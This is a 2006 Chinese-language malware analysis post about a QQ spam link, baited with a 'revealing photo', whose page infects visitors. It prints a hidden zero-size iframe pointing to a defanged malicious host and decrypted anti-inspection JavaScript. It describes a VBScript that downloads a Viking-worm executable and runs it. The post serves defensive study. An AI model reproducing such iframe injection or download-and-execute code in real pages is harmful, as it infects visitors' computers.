endurer 原創
2006-09-26 第
1版 QQ自動發送的資訊為：/-------
看看我最近的照片~~~ 才掃描到Q-Zone空間上的。是不是有點太露了?
hxxp://Q-Zone.***QQ.C0M.%34%76%30***%2E%63%6E/**Photo/Cgi_Bin&387***382/
-------/點擊該連結開啟的網頁（瑞星報為：
Trojan.DL.VBS.Agent.t，http://viruslist.rising.com.cn/viruslist.asp?id=309960）中包含兩段需要注意的程式碼片段。
程式碼片段1：
/-------
＜iframe src＝hxxp:／／web2***.%33%39%63%6F***%6D%2E%6F%72%67／m***s／mm***.htm width＝0 height＝0＞＜／iframe＞
-------/
mm***.htm 的開頭為 HTMLShip 加密的指令碼程式，分為兩個部分：
前一部分 解密後的代碼為JavaScript編寫，如下：
/-------
＜script language＝javascript＞yS6＝5633;if(document.all){function _dm(){return false};function _mdm(){document.oncontextmenu＝_dm;setTimeout("_mdm()",800)};_mdm();}document.oncontextmenu＝new Function("return false");function _ndm(e){if(document.layers||window.sidebar){if(e.which!＝1)return false;}};if(document.layers){document.captureEvents(Event.MOUSEDOWN);document.onmousedown＝_ndm;}else{document.onmouseup＝_ndm;};oK74＝3345;dI39＝7346;function _dws(){window.status ＝ "The page is protected by HTMLShip XP";setTimeout("_dws()",100);};_dws();kY53＝6773;jQ9＝4206;function _dds(){if(document.all){document.onselectstart＝function (){return false};setTimeout("_dds()",700)}};_dds();iD69＝5348;kH81＝489;aS87＝3348;mY34＝4488;lL93＝5630;bI58＝9632;sT64＝2490;;_licensed_to_＝"TEAM";＜／script＞
-------/用來阻止使用者選擇網頁內容、屏蔽右鍵關鍵菜單等。
後一部分 使用的是VBScript，其功能是利用 Adodb.Stream、Microsoft.XMLHTTP 和 Scripting.FileSystemObject 把 hxxp://web2.3***9com.org/m***s/mm*2.exe 儲存為 %temp%/g0ld.com，並利用Shell.Application 對象 的 ShellExecute 方法 來運行。Kaspersky 報為
Worm.Win32.Viking.y（http://www.viruslist.com/en/find?words=Worm.Win32.Viking.y）瑞星報為
Worm.Viking.cx。
程式碼片段2：為加密的指令碼程式，同樣分為兩個部分：
前一部分 解密後的代碼為JavaScript編寫，如下：
/-------
＜script language＝javascript＞gV65＝9230;if(document.all){function _dm(){return false};function _mdm(){document.oncontextmenu＝_dm;setTimeout("_mdm()",800)};_mdm();}document.oncontextmenu＝new Function("return false");function _ndm(e){if(document.layers||window.sidebar){if(e.which!＝1)return false;}};if(document.layers){document.captureEvents(Event.MOUSEDOWN);document.onmousedown＝_ndm;}else{document.onmouseup＝_ndm;};vN33＝6942;lL98＝943;function _dws(){window.status ＝ " ";setTimeout("_dws()",100);};_dws();sB12＝370;rT69＝7803;function _dds(){if(document.all){document.onselectstart＝function (){return false};setTimeout("_dds()",700)}};_dds();qH28＝8945;sK41＝4086;iV46＝6945;uB93＝8085;tO53＝9227;jM18＝3229;zW23＝6087;;_licensed_to_＝"TEAM iPA";＜／script＞
-------/
後一部分 解密後為HTML代碼：
/-------
＜iframe width＝"760" height＝"1830" src＝"hxxp:／／u.7town.com／html／760_1830／ly**1／index.html?uid＝1540***7&a＝&b＝&c＝&d＝&e＝&f＝" frameborder＝"no" border＝"0" marginwidth＝"0" marginheight＝"0" scrolling＝"no"＞＜／iframe＞
-------/
